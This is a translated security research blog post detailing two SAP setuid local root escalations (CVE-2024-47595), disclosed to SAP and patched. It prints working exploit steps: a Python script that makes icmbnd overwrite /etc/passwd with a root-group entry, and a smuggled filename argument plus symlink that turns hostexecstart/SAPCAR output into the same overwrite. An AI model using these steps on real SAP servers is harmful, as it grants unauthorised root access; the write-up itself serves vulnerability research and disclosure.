一个漏洞还不够:在 SAP 的 Setuid 环境中双重提权
作者:Tao Sauvage
SAP setuid
能超越你所在公司的 CTO 兼联合创始人,这样的机会并不常有。2020 年,Vincent Berg 发表了一篇博文,描述了他在准备一个客户项目时发现的一个影响 SAP setuid
二进制文件的漏洞。结合不安全的 NFS 配置,他得以在该客户项目中攻陷了十几台 UNIX 机器。
去年,我被分配到同一个客户的一个新的 SAP 相关项目。我给自己定了一个个人目标,即在客户使用的 SAP 软件中找到两个 0day 漏洞(比 Vincent 多一个)。结果成功了,SAP 为这两个问题分配了 CVE-2024-47595!在此过程中,我了解了 SAP 内部机制、SAR 归档,甚至编写了一个实用工具,今天我将发布它:SAPCARve。
我发现的漏洞也是从 sapsys
用户到 root
用户的本地权限提升,影响了 setuid
二进制文件。考虑到 sapsys
已经是具有特权的 SAP 用户,因此该漏洞的影响被 SAP 正确地评为中等(CVSS v3.1 评分为 6.3)。
让我们一步一步地从初始侦察到获得 root shell,看看这些漏洞是如何展开的。
侦察
沿着 Vincent 走过的道路,我枚举了我的用户可以在客户端服务器上访问的所有 setuid
二进制文件。Linux 上的 setuid
二进制文件以其文件所有者(在本例中为 root)的权限而不是当前用户的权限运行,这使得它们成为权限提升的理想目标。
枚举显示了四个潜在目标(在删除重复项后):
-rwsr-x---. 1 root sapsys 4.0M May 9 04:52 /usr/sap/hostctrl/exe/hostexecstart
-rwsr-x---. 1 root sapsys 3.7M May 9 04:52 /usr/sap/hostctrl/exe/sapuxuserchk
-rwsr-x--- 1 root sapsys 2.4M May 7 2023 /usr/sap/ABC/D00/exe/sapuxuserchk
-rwsr-x--- 1 root sapsys 3.1M Jun 21 13:16 /usr/sap/ABC/D00/exe/icmbnd
-rwsr-x--- 1 root sapsys 2.7M Jun 11 2020 /usr/sap/DEF/SYS/exe/uc/linuxx86_64/icmbnd
-r-sr-x--- 1 root sapsys 63M Dec 18 2023 /usr/sap/ABC/D00/exe/mdc/hdbmdcdispatcher
考虑到项目的有限时间窗口,我迅速排除了以下二进制文件:
hdbmdcdispatcher
,因为它已经在 Vincent 的博文中被利用。sapuxuserchk
,因为它已经被 CVE-2022-29614 覆盖。
这留下了 icmbnd
和 hostexecstart
,它们都没有已知的 CVE 或公开的漏洞利用。
我下载了 SAP HANA Express VM 并配置了一个本地环境,我可以在其中更轻松地分析和调试二进制文件,而不会冒损坏客户端基础设施的风险。我手动将 icmbnd
复制到 VM,因为它默认不包含,并重新配置了它的 UNIX 权限以恢复 setuid 位。幸运的是,它可以开箱即用,没有 glibc 版本不匹配或其他问题。
请注意,默认的 hxeadm
用户已经可以使用 sudo
执行任何命令,而无需在 VM 上输入密码:
hxeadm:hxeadm> sudo -l
[ snip ]
User hxeadm may run the following commands on hxehost:
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
但是,在客户端的服务器上情况并非如此,因此为了我们的目的,我们将忽略这一点,并假设用户无法使用 sudo
运行命令。
目标 1:icmbnd
查看 icmbnd
的用法消息,我们可以指定跟踪文件的名称:
hxehost:hxeadm> /usr/sap/ABC/D00/exe/icmbnd -h
Usage: icmbnd <options>
with the following options:
-v[ersion] display version info and exit
-S <ServerPort> listen port of the controlling program (eg. icman)
-H <hostname> hostname to bind port to (default: all names)
-l <port for listen> servicename or portnumber
-p <protocol> protocol to use (HTTP, HTTPS, SMTP)
-i <virt host idx> index of the virtual host(default: -1)
-k <keep_alive_timeout> keep alive timeout for this port
-K <proc_timeout> Processing timeout for this port
-c verify_client <val> SSL client verification option (0,1,2)
-t <trace_level> tracelevel (default:1)
-f <trace_file>] name of the tracefile (default: dev_icmbnd)
-apptrc append to existing tracefile
考虑到 icmbnd
以 root 权限运行,因此有可能使跟踪文件指向受保护的文件并覆盖它。一个快速检查证实了我们的假设:
hxehost:hxeadm> /usr/sap/ABC/D00/exe/icmbnd -S 6668 -l 6669 -p HTTP -f /etc/passwd
IcmBndConnect: IcmConnect to port 6668 failed (rc=-10)
icmbnd: IcmBndConnect (rc=-10)
hxehost:hxeadm> ls -alh /etc/passwd
-rw-r--r-- 1 root sapsys 1.2K June 17 16:58 /etc/passwd
文件 /etc/passwd
被二进制文件生成的跟踪消息覆盖。在考虑如何利用它(除了明显的拒绝服务之外)时,我考虑在 /etc/passwd
中为具有 root 权限的新用户注入新行。
在与 Vincent 聊天时,他提到 /etc/passwd
的解析非常强大,它会忽略无效条目。只要 icmbnd
的输出包含一个有效的条目,我就可以注入一个新用户。我选择重用我的用户并将其组 ID 更改为 0,从而将其分配给 root 组 ID。
现在的问题仍然是:如何注入新行?使用 Ghidra,我检查了 icmbnd
如何验证参数,并没有看到太多(如果有的话)验证。例如,-l
选项同时支持端口号和服务名称。
一个快速的动态检查证实,我可以在服务名称中插入一个新行,这反映在跟踪文件中。这正是我所需要的。
hxehost:hxeadm> cat run.py
import os
bin2run = '/usr/sap/HXE/HDB90/SYS/exe/uc/linuxx86_64/icmbnd'
# Patching GID for hxeadm in /etc/passwd
passwd = open('/etc/passwd', 'r').read()
patched_passwd = passwd.replace('hxeadm:x:1001:79', 'hxeadm:x:1001:0')
os.execvp(
bin2run, [
bin2run,
'-S', '6668',
'-l', f'6669\n{patched_passwd}\n',
'-p', 'HTTP',
'-f', '/etc/passwd'
])
hxehost:hxeadm> python3 run.py
icmbnd: NiListen failed for6669
[ snip ]
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash
sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false
(rc=-8): NIEINVAL
IcmBndConnect: IcmConnect to port 6668 failed (rc=-10)
icmbnd: IcmBndConnect (rc=-10)
检查 /etc/passwd
文件的内容,我们可以看到我们注入的条目,其中 hxeadm
被分配了 GID 0:
hxehost:hxeadm> cat /etc/passwd
---------------------------------------------------
trc file: "passwd", trc level: 1, release: "753"
---------------------------------------------------
[ snip ]
[Thr 139669455066944]
[Thr 139669455066944] *** WARNING => NiServerHandle: parameter invalid (strlenU(pServName) >= NI_MAX_SERVNAME_LEN) [nixx.c 263]
[Thr 139669455066944] *** ERROR => icmbnd: NiListen failed for 6669
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
[ snip ]
hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash
sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false
(rc=-8): NIEINVAL [icxxbnd.c 620]
[ snip ]
通过启动一个新的 SSH 会话,例如,我们确认了我们的新权限:
hxeadm@hxehost:/usr/sap/HXE/HDB90> id
uid=1001(hxeadm) gid=0(root) groups=0(root),16(dialout),33(video),1000(hxeshm)
目标 2:hostexecstart
第一个目标很快就得手了。然后我检查了 hostexecstart
,事实证明它更难利用。
查看 hostexecstart
的用法消息,该目标仅支持有限数量的参数。只有一个参数接受我们可以控制的值:
hxehost:hxeadm> /usr/sap/hostctrl/exe/hostexecstart -h
usage: hostexecstart [option]
option:
-start: start the SAPHostAgent if not running.
-restart: stop SAPHostAgent if running, and restart it.
-status: return the status of SAPHostAgent (running/stopped)
-upgrade <archive>: upgrade SAPHostAgent using the SAR archive <archive>
例如,start
、restart
和 status
选项可能容易受到竞争条件的影响。尽管如此,我认为 upgrade
选项更有趣,因为它接受我们可以控制的存档路径。
我想:为什么不创建一个包含后门的 SAR 归档,并将其提供给 hostexecstart
呢?只有一个小的(好吧,主要的)障碍:SAR 归档已签名,并且在提取任何文件之前会验证其签名。
在我详细介绍 SAR 归档是什么以及它们是如何签名之前,让我们看看 hostexecstart
如何使用存档路径。
存档路径首先传递给另一个名为 saphostexec
的二进制文件,该文件构建以下命令:
/usr/sap/hostctrl/exe/saphostexec -upgrade -archive <archive> -verify
我检查了是否可以控制从哪里加载 saphostexec
,但这行不通。
hostexecstart
依靠 argv[0]
来检索当前目录。我们可以使用一个包装脚本来伪造它,该脚本更改 argv[0]
的值并指向任意位置。但是,hostexecstart
随后会检查二进制文件及其目录是否归 root
所有,我无法绕过这一点。
然后,saphostexec
构建一个最终命令来调用 SAPCAR
二进制文件:
/usr/sap/hostctrl/exe/SAPCAR -manifest "/usr/sap/hostctrl/work/archive/SIGNATURE.SMF" -V -xfvs <archive> -R "/usr/sap/hostctrl/work/archive"
请记住,这些命令不是在 shell 环境中执行的,因此无法链接 bash 命令(例如,使用 && id
)或使用命令替换(例如,使用 $(id)
)。
让我们分解一下最终命令:
R
:使用/usr/sap/hostctrl/work/archive
目录作为工作目录(例如,提取文件的位置),而不是当前目录。V
:启用签名验证。x
:执行提取操作。v
:详细输出。s
:检查是否有足够的可用空间来成功提取。manifest
:检查路径中指定的清单的签名。
对 archive
路径执行的唯一检查是文件是否存在。没有其他验证。因此,可以注入将被 SAPCAR
处理的参数。唯一的限制是它不能包含任何正斜杠(UNIX 文件名中唯一禁止的字符)。
回到用法消息,有一个参数很突出:
-L FILE : use security library FILE for signature operations
(default: libsapcrypto.so)
使用 -L
,我们可以加载我们自己的库并绕过签名验证。这正是我要找的。不幸的是,这又是另一个死胡同。
当指定 -L
时,SAPCAR
使用 dlopen
加载库。请记住,我们不能在注入的参数中包含任何斜杠,因此充其量我们可以注入 -L libdummy.so
(但不能注入 -L ./libdummy.so
)。
SAPCAR
在标准系统目录(如 /lib64/
和 /usr/lib64/
)中查找,但不在我们的当前目录中查找。我们无法将其植入 SAPCAR
的目录中,因为它归 root 所有,并且我们无法使用 LD_LIBRARY_PATH
环境变量,因为 setuid
二进制文件会忽略它。如此接近,却又如此遥远……
我想,好吧,签署我自己的 SAR 归档有多难?嗯,即使到了今天,我仍然无法签署我自己的。如果有人弄清楚了,我很想听听!下面是我的尝试。
签署 SAR 归档
让我们一起深入了解一下 SAR。SAR 格式是 SAP 开发的一种专有的存档文件格式。SAPCAR
实用工具可用于创建和提取 SAR 归档。
$ SAPCAR -tvf test.sar
SAPCAR: processing archive test.sar (version 2.01)
-rwxrwxrwx 5 27 Mar 2025 15:19 test.txt
-rwxrwxrwx 9 27 Mar 2025 15:21 test2.txt
文件格式具有相当简单的块结构,每个块包含一个压缩的数据块,这些数据块以前被其他人逆向工程和记录过。每个文件都包含元数据,例如文件名、其权限和时间戳等。在 OWASP pysap 项目 中有一个工具可以创建和解析 SAR 文件。
SAPCAR
还允许签署 SAR 归档。我没有找到关于该主题的太多公开文档。从我使用 Ghidra 和 GDB 收集到的信息来看,签名实现如下:
- 创建一个清单文件,其中包含元数据以及摘要/文件名列表(例如,归档中文件“test.txt”的 SHA256 哈希)。
- 然后使用
PKCS7-TSTAMP
和 SAP 的 CommonCrypto 库对清单进行签名,该库使用 PKCS #7 标准生成签名,其中包含来自时间戳颁发机构 (TSA) 的可信时间戳(请参阅:RFC 3161)
下面是来自 SAP 提供的官方签名 SAR 归档的此类清单的示例:
SAP-MANIFEST
Version: 1.0
Hash: SHA256
Signature: PKCS7-TSTAMP
Body: Digest | Name-Length | Name
c6e9fb02ab59e7580fcaea6c37ae6ae6f6f5151d4ca8843659a649670fa2f6ee 000a patches.mf
a19098e76e675b2bd1269fa6e44042d71a411019dd3ac56a3487c65408a39ee5 0002 tp
-----BEGIN SIGNATURE-----
[ snip ]
-----END SIGNATURE-----
当从 SAPCAR
读取用法消息时,它会列出以下命令来签署 SAR 文件,这正是我要找的:
sign an existing archive:
SAPCAR -Svf MY.SAR [-L library] [-key PSE] [-pwd PSE PIN] [-H algorithm]
我使用 sapgenpse
生成了一个虚拟 PSE。但是,SAPCAR
命令导致以下错误:
SAPCAR: No timestamp authority set
使用 Ghidra,我找到了一个 -tsaurl
参数,该参数未在用法消息中列出。但是,它再次失败:
$ SAPCAR -key test.pse -tsaurl http://freetsa.org/tsr -Svf test.sar
SAPCAR: error in signature verification (error 60). SSF-RC: SSF_API_OK
Detail: SsfErrorName(5) == "SSF_API_SIGNER_ERRORS", SsfErrorDescription(5) == "A signing operation could not be performed or failed", Last error from SAPCRYPTOLIB: "A signing operation could not be performed or failed" <-- SsfLibAddTimeStampResp() == 5
错误消息对我来说不清楚。设置 SAPMANIFEST_TRACELEVEL=3
环境变量,SAPCAR
将生成存储在 dev_sapmanifest.trc
中的跟踪:
[ snip ]
CCL[VERIFY]: Certificate verification result (failed)
----- BEGIN VERIFICATION RESULT -----
# --- Messages -----------
INFO: Verification time - Fri Mar 28 15:04:42 2025 ERROR: The verified certificate chain is complete but no certificate is trusted.
[ snip ]
尽管我将 CA 添加到我的 PSE 中以使其受信任,但它仍然失败了。我开始明白,只有 SAP 信任的 CA 才能用于签署 SAR 归档。而且我找不到任何与 SAP 的 TSA 服务以及如何使用它相关的公开信息。据我所知,这可能是一项只有 SAP 才能使用的服务。
操纵 SAR 归档
此时,我决定寻找其他方法来滥用参数注入。如果我无法签署我自己的 SAR 归档,也许我可以篡改一个合法的归档?
pysap
项目仅支持 Python2,并且 SAR 归档的工具对于我的测试来说太有限了。因此,正如介绍中所提到的和链接的那样,我编写了自己的工具来解析和操纵 SAR 归档:SAPCARve
- 我为 SAR 文件编写了一个 Kaitai Structure,并使用他们的 序列化指南 将修改后的 SAR 文件存储回磁盘。
- 它还重用了
pysapcompress
Python 绑定,用于 SAP 的压缩/解压缩库,我(或者更准确地说,是 Claude 3.7)将其移植到了 Python 3。
SAPCARve
提供了一些方便的命令来操纵 SAR 归档:
$ python3 SAPCARve.py -h
usage: SAPCARve.py [-h] sar {list,extract,add,delete,swap,rename,chmod,merge} ...
SAPCAR manipulation tool
positional arguments:
sar Path to the .sar (or .car) archive
{list,extract,add,delete,swap,rename,chmod,merge}
list List content of the archive
extract Extract a file from the archive
add Add a file/symlink/directory to the archive (file, sym, dir respectively)
delete Delete a block inside the archive
swap Swap two blocks inside the archive
rename Rename a file inside the archive
chmod Change the permission of a file inside the archive
merge Merge two SAR archives by appending blocks from one to the other
options:
-h, --help show this help message and exit
我针对 SAP 签署的合法 SAR 归档执行了多个测试:
- 删除
SIGNATURE.SMF
清单。 - 提取
SIGNATURE.SMF
清单并尝试更改它包含的 SHA256 或删除其签名。 - 在
SIGNATURE.SMF
块之前或之后附加一个新文件。 - 附加一个与归档中已存在的文件同名的文件,在原始文件之前和之后。
这些都导致签名验证失败。例如,当向签名归档附加一个新文件时,SAPCAR
返回以下错误:
$ SAPCAR -V -xvf test.sar
SAPCAR: processing archive test.sar (version 2.01)
x patches.mf
x test
x tp
SAPCAR: error during certificate revocation check (error 61). SSF-RC: SSF_API_OK
Detail: CRL missing. Download and use CRL from https://tcs.mysap.com/crl/crlbag.p7s
File >test< was not found in manifest
看到文件名“test”反映在响应中,您可能会对 icmbnd
有似曾相识的感觉。事实上,一个快速测试证实,文件名可以包含任何字符,包括新行。
为了利用这一点,我们可以使用 -e
选项将输出重定向到 sapcar_output
。我们还创建从 sapcar_output
到我们的目标文件 /etc/passwd
的符号链接,并注入我们修改后的内容:
-e : redirect output from stdout to file sapcar_output
为了准备恶意 SAR 文件,我使用 SAPCARve
将合法 SAR 归档中的一个文件重命名为 /etc/passwd
文件的内容,并对其进行了修补,以将我的 GID 设置为 0:
$ python3 SAPCARve.py test.sar rename 0 "aaaa
> $(cat passwd_patched)
> # bbbb"
SAR archive version: 2.01
Number of files: 3
0: -rwxrwxr-x 300 aaaa
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
[ snip]
hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash
sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false
# bbbb
1: -rwxrwxr-x 10575444 tp
2: drw------- 4922 SIGNATURE.SMF
在服务器上,我们将我们的恶意 newline.sar
归档放在一个目录中,创建符号链接并创建一个包含我们注入的选项的文件(请记住,hostexecstart
会检查文件是否存在):
hxehost:hxeadm> ln -s /etc/passwd ./sapcar_output
# This filename injects -e as parameter into SAPCAR to enable file overwrite.
# The -y option is used to consume the remaining options appended by `saphostexec`
hxehost:hxeadm> touch 'newline.sar" -e -y '
最后,我们调用 hostexecstart
来触发漏洞利用:
hxehost:hxeadm> /usr/sap/hostctrl/exe/hostexecstart -upgrade 'newline.sar" -e -y '
Executing: /usr/sap/hostctrl/exe/saphostexec -upgrade -archive newline.sar" -e -y -verify in /hana/shared/HXE/HDB90
Upgrade service
Files authenticity will be verified
Extracting archive
ExtractHostagentSAR: Executing: "/usr/sap/hostctrl/exe/SAPCAR" -manifest "/usr/sap/hostctrl/work/archive/SIGNATURE.SMF" -V -xfvs "/hana/shared/HXE/HDB90/newline.sar" -e -y ," -R "/usr/sap/hostctrl/work/archive"
[WARNING] ExtractHostagentSAR exit with status 61
[OK] ExtractHostagentSAR: Archive directory '/usr/sap/hostctrl/work/archive' added to delete list.
[ERROR] Extract Archive failed.
正如预期的那样,提取失败了,但是 /etc/passwd
的内容现在包括 SAPCAR
的输出:
hxehost:hxeadm> cat /etc/passwd
SAPCAR: processing archive /hana/shared/HXE/HDB90/newline.sar (version 2.01)
SAPCAR: error during certificate revocation check (error 61). SSF-RC: SSF_API_OK
Detail: CRL missing. Download and use CRL from https://tcs.mysap.com/crl/crlbag.p7s
File >aaaa
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
[ snip ]
hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash
sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false
# bbbb< was not found in manifest
我们可以再次通过启动一个新的会话来确认我们的新权限:
hxeadm@hxehost:/usr/sap/HXE/HDB90> id
uid=1001(hxeadm) gid=0(root) groups=0(root),16(dialout),33(video),1000(hxeshm)
结论
在客户项目中尝试超越我的 CTO 兼 Anvil Secure 的联合创始人是一个有趣的挑战。除了涵盖原始范围外,我还能深入研究 SAP 软件,并发现和利用两个 0day 漏洞来获得 root 访问权限。
在获得客户的批准后,我们代表他们与 SAP 启动了协调的漏洞披露流程。几个月后,SAP 确认已为他们的客户提供了一个补丁,并为这两个问题分配了 CVE-2024-47595
。
这种工作(深入挖掘、迷失在兔子洞中、解决难题和构建工具)是我作为安全工程师最喜欢的部分。这是创造性思维闪耀的地方。
我非常喜欢它,以至于在准备这篇博文时,我决定重做几个测试来整理一些未完成的事情。然后更多的测试……哦,那是什么?那看起来很有趣。让我们深入研究这个新的兔子洞。还有那个。我现在已经开始与 SAP 进行另一个协调的漏洞披露流程,其中包含一批新的漏洞。所以……未完待续?
关于作者
Tao Sauvage 是 Anvil Secure 的首席安全工程师。他喜欢在任何他能接触到的东西中发现漏洞,尤其是在涉及到嵌入式系统、逆向工程和代码审查时。
他之前的研究项目涵盖了移动操作系统安全,为 Android 带来了多个 CVE,以及风力发电场设备,创建了一个针对 Antaira 系统的概念验证“蠕虫”。
他曾经是 OWASP OWTF 项目的核心开发人员,这是一个进攻性 Web 测试框架,并维护 CANToolz,这是一个用于黑盒 CAN 总线分析的 python 框架。
PrevBehind the Scenes at Hammercon 2025: The CTF Challenge
工具
awstracer - 一个 Anvil CLI 实用工具,允许您跟踪和重放 AWS 命令。
awssig - Anvil Secure 的 Burp 扩展,用于使用 SigV4 签署 AWS 请求。
dawgmon - Dawg the hallway monitor:监控操作系统更改并在安装软件时分析引入的攻击面。请参阅介绍性博文
nanopb-decompiler - 我们的 nanopb-decompiler 是一个 IDA python 脚本,可以从使用 0.3.x 和 0.4.x 版本的 nanopb 编译的二进制文件中重新创建 .proto 文件。请参阅介绍性博文
ulexecve - 一种直接从用户空间在 Linux 上执行 ELF 二进制文件的工具。请参阅介绍性博文
usb-racer - 一种用于对 USB 存储设备进行 TOCTOU 问题渗透测试的工具。
近期文章
- One Bug Wasn’t Enough: Escalating Twice Through SAP’s Setuid Landscape
- Behind the Scenes at Hammercon 2025: The CTF Challenge
- Trends in Security Vulnerabilities: Insights from Anvil
- Spoofing Internal Packets for Multihomed Linux Devices
- Vulnerabilities in Homepage Dashboard
- Introducing usb-racer
- Galactical Bug Hunting: How we discovered new issues in CD Projekt Red’s Gaming Platform
- NosyMonkey: API hooking and code injection made easy!
- Compromising Garmin’s Sport Watches: A Deep Dive into GarminOS and its MonkeyC Virtual Machine
- Userland Execution of Binaries Directly from Python
- nanopb Protobuf Decompiler
- Information Security BASICS
我们不仅仅是一支由具有安全专业知识并重视透明度的行业资深人士组成的多元化全球团队。我们是关系建立者,希望了解您和您的业务。
联系我们
206-753-7649
info@anvilsecure.com
security@anvilsecure.com
2125 Western Ave Suite 208
Seattle, WA 98121